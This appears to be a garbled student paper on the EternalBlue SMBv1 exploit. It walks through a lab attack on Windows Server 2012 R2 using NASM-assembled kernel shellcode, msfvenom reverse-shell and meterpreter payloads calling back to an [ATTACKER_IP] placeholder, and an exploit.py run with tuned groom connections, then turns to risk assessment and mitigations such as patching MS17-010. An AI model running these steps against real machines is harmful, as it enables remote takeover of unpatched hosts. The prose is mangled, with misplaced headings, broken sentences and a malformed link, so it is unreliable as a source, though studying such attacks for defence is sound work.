Demonstration of the EternalBlue Exploit
Stylized as ETERNALBLUE at times, Eternalblue is an exploit developed by American NSA, this is according to testimony by former employees of NSA. Shadow Brokers hacker group leaked it on 14th April, 2017, and was utilized on 12th May, 2017 as part of the international WannaCry ransom ware attack (Kao, and Hsiao, 2018). EternalBlue is remote code execution vulnerability occurs in the way that the SMBv1 server takes particular requests. If the attacker effectively exploits the vulnerability can gain the capability to execute code on the server which is targeted. In most situations to be able to exploit the vulnerability, unauthenticated attacker can send a particularly crafted packet to SMBv1 server that is targeted. The vulnerability is addresses by security update the by adjusting how SMBv1 takes these particularly crafted requests. Microsoft’s implementation of the SBM which means Server Message Block protocol vulnerability is targeted by EternalBlue exploits. The exposure is symbolized by CVE-2017-0144 in the Common Vulnerability and Exposures which is symbolized as CVE catalog. This vulnerability happens since the SMB version 1 (SMBv1) server in different versions of the Microsoft Windows mismanages particularly developed packets from attackers remotely, authorizing them to implement the arbitrary code on the aimed machine.
In this segment of the paper, will demonstrate the process of EternalBlue exploit by use of the metaspoilt tool. This tool aids offers information about security vulnerability and consequently aids in penetration testing and development of IDS signature (Dwyer, 2018). The paper analyses EternalBlue exploit and write this step-by-step on how the exploit works on the identified target. To start with we must have both the target machine and the attacker machine.
- Windows Server 2012 R2 – Victim Machine
It is not necessary to make any changes after installation of the OS. This helps to get the IP address and know whether the targeted computer is ON during attacking process.
- GNU/Linux – Attacker Machine
One can use any operating system as long he or she is has a vast knowledge of these tools:
- Python v2.7
- NASM
- Metasploit Framework
For the purpose of this paper the following will be the require lab configurations
Attacker – IP: 10.0.2.6 Linux/ GNU Debian x64
Target – IP: 10.0.2.12 –Windows Server 2012 R2 x64
After setting up the lab the first set for the EternalBlue exploit will involve assembling the kernel shellcode which is developed for EternalBlue exploit. Towards the end of the attack an userland shellcode will be added to it, this will be what Metaspoilt payload need to execute on the victim machine. A shellcode developed by sleepya can be obtained from: www:gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
Risk Assessment of the EternalBlue Exploit
The .asm file is saved after being downloaded from the link above followed by use of NASM in order to assemble using the following command: nasm -f bin kernel_shell_x64.asm.
After assembling it, this is followed by generation of userland shellcode, which is a payload with msfvenom. The msfvenom is will be utilized for generation of payload. This demonstration will first, reverse shell via TCP followed by a meterpreter session. Separetley both payloads can be generate as follows:
- windows/x64/shell/reverse_tcp
- msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
For: windows/x64/meterpreter/reverse_tcp:
For: msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
Hence, one will be required to join userland shellcode + kernel shellcode. After assembling the shellcode and generation of Metasploit’s payloads that are needed, it will be essential to concatenate them.
Thus, shell/reverse_tcp e + kernel shellcod
Then, kernel meterpreter/reverse_tcp + shellcode:
Completion of these two steps, two payloads of distinct attacks can be obtained set to be used. In order to get a reverse shell it will make one utilize sleepya’s exploit, can be obtained from the link below: www.gist.github.com/worawit/074a27e90a3686506fc586249934a30ne.
This will present two distinct approach to impact successfully on the victim machine. This will be done over “Guest” account. This guest account becomes quiet by default in Windows Server 2012 R2. Nonetheless, if the account can be activate by the network administrator, one can exploit it and get the system shell of the targeted machine. The main step will involve using any text editor to open any exploit.py and indicate that it will be the account which will be used to authenticate. In the attacker machine this will be saved as a.py extension. Before continuing with this, in order to get the reverse shellcode linking in the instant it will be executed in the victim device it will be necessary to setup Metaspoilt exploit.
Lines 42 and 43 in the above can defined the said information. These change saved, one can continue with execution of the exploit with these parameter: python exploit.py <ip_target> reverse_shell.bin 500. The 500 parameter correspond to “numGroomConn”. Modifying the extent of “Groom” connections aid in reaching adjoining pool memory of the kernel in order the buffer overwrites ends in the location needed and accomplishing the execution appropriately the shellcode. In the case of userland shellcode one can use 500 “groom” connection number. If at effect one does not get the inverse linking, hence one can further increase this number.
This in Metaspoilt terminal it will receive the reverse shell.
Scope of the Impact of the Exploitation
Via user or pass account. Another approach to receive a successful exploit is utilizing which were earlier attained from local user account. Just like in the prior “Guest” user case, this does not put into consideration the rights of the account one authenticate with, the system will be the received terminal. Here one can edit the exploit.py for addition of the information from the user account.
This will give the same outcome
From here one can configure Metaspoilt to receive the reverse connection, before obtaining a meterpreter session with administrator privileges.
The exploit can be executed utilizing the parameters “python exploit.py <ip_target> meterpreter.bin 200”. In this case one can note the reduction of Groom’s connection to 200. The value can be increade if the exploit is execute correctly but the session is not received.
On the Metasploit’s terminal on will immediately get the meterpreter’s session.
Risk is the likelihood of loss. For example, the risk of a computer shutting down. A risk assessment is calculating the likelihood of loss and its impact Phomkeona, et. al 2017. It needs to take into consideration both IT and business considerations. Therefore, there has to be business justifications for the implementation of mitigations. This is justified through the risk, or impact of loss, of what you are protecting. Risk is calculated by threat multiplied by vulnerability
Risk = Threat x Vulnerability
A high threat with a high vulnerability carries a high risk. For example not installing antivirus on the receptionist’s computer’. However, anything multiplied by zero is zero. A high threat with a low vulnerability can carry a low risk.
Scope of the domain that would be impacted in the case of exploitation
Exploitation encompasses global culture in the digital age. The demonstration of breaking into a secure networks serves some needs, from corporate reconnaissance to political insurbonation and blatant theft. These exploitation influences associations in a number of ways – some all-inclusive, others particular to the idea of the explanation behind exploitation and the business being referred to. The direction of exploitation whether a company get exploits or gets exploited additionally has an impact.
Exploitation has a substantial effect. Sensitive data is stolen, referred as an “Information Breach”. Different records are compromised. Computers are transformed into DDoS hubs, attack relays, spammer, and more (Shao, et al 2017). Execution slow back to a creep. Data transfer capacity is disabled by the tremendous measure of unlawful movement flooding through the computers. Each contact found is spammed with additional exploit effort. Website pages are ruined. The domain ends up being blacklisted for manhandling. Everybody involved needs to be concerned about data fraud. Individual reputation is directly impacted. Rather than focusing on development and sales, staff members are concerned about harm control.
Measures to Minimize the Impact of the EternalBlue Exploit
Having awareness of the perils is the initial move towards protection from both being exploited, and from dealing with the aftermath on the off chance that it happens (Nakashima, & Timberg, 2017). There are safeguard steps that can be taken for better security namely:
- Physical security – Placing locks on doors
- Operational security – Don’t have a green arrow pointing to the server room
- Documentation – Document how systems talk to each other
- Disaster plan – When it hits the fan, what’s the plan?
This paper will look five measures and mitigation practices that can be taken to minimize the impacts of EternalBlue exploit in future. These steps comprises the following:
Follow the Least Privilege Principle: configuration of access controls is necessary and consists netwok and directory sharing permission with the least right. Admin privilages is not needed by most users do undertake the required tasks on organization endpoint users, user access should be minimum to allow standard functioning.
Apply Patches any Disable SMB v1: in order to shield against the particular EternalBlue straining, one should simply apply the patch MS17-010 that Microsoft released a few months ago or disable the out of dated Microsoft SMB protocol version 1.
Always Backup: backing up important data is an vital, table-stakes best practice whenever one is attacked by a new extic EternalBlue attack or the hard drive dies unexpectedly.
Block Internet Access: Individual networks should not be open to SMB packets from internet since Microsoft SMB protocol is developed to be internal.
Apply Application Control: Regulation of executables that have access to th files system can as well contribute to defensive mechanism.
Conclusion
Recently, cyber exploitaion has set up a reputation of something more than mere cyber activity. The repercussions of these demonstrations are regularly extreme; running from an extraordinary monetary misfortune to breaks of sensitive military data. Accordingly, there is a developing far reaching concern about the answer for this issue.
Then again, the majority of the general population are not comfortable with the points of interest encompassing these events. For them, espionage or cyber exploitation may sound like the same, if not the same, to cyber-attack. Despite how comparable they may be, this paper has shown has analyzed EternalBlue exploit. The most well-known is by how the exploits communicates to the vulnerable application. An exploit remotely operates over a network and exploit the security vulnerability with no earlier access to the vulnerable framework.
References
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Dwyer, A., 2018. The NHS cyber-attack: A look at the complex environmental conditions of WannaCry.
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Nakashima, E. and Timberg, C., 2017. NSA officials worried about the day its potent hacking tool would get loose. Then it did. Washington Post,[Online]. Available: https://www. washingtonpost. com/business/technology/nsa-officials-worried-about-the-day-its-potent-hacking-tool-would-get-loosethen-it-did/2017/05/16/50670b16-3978-11e7-a058-ddbb23c75d82_story. html.
Phomkeona, S., Okamura, K., Edwards, K. and Ban, Y., 2017. Zero-day Malicious Email Behavior Investigation and Analysis. Proceedings of the Asia-Pacific Advanced Network, 44, pp.8-12.
Shao, S., Tunc, C., Satam, P. and Hariri, S., 2017, September. Real-Time IRC Threat Detection Framework. In Foundations and Applications of Self* Systems (FAS* W), 2017 IEEE 2nd International Workshops on (pp. 318-323). IEEE.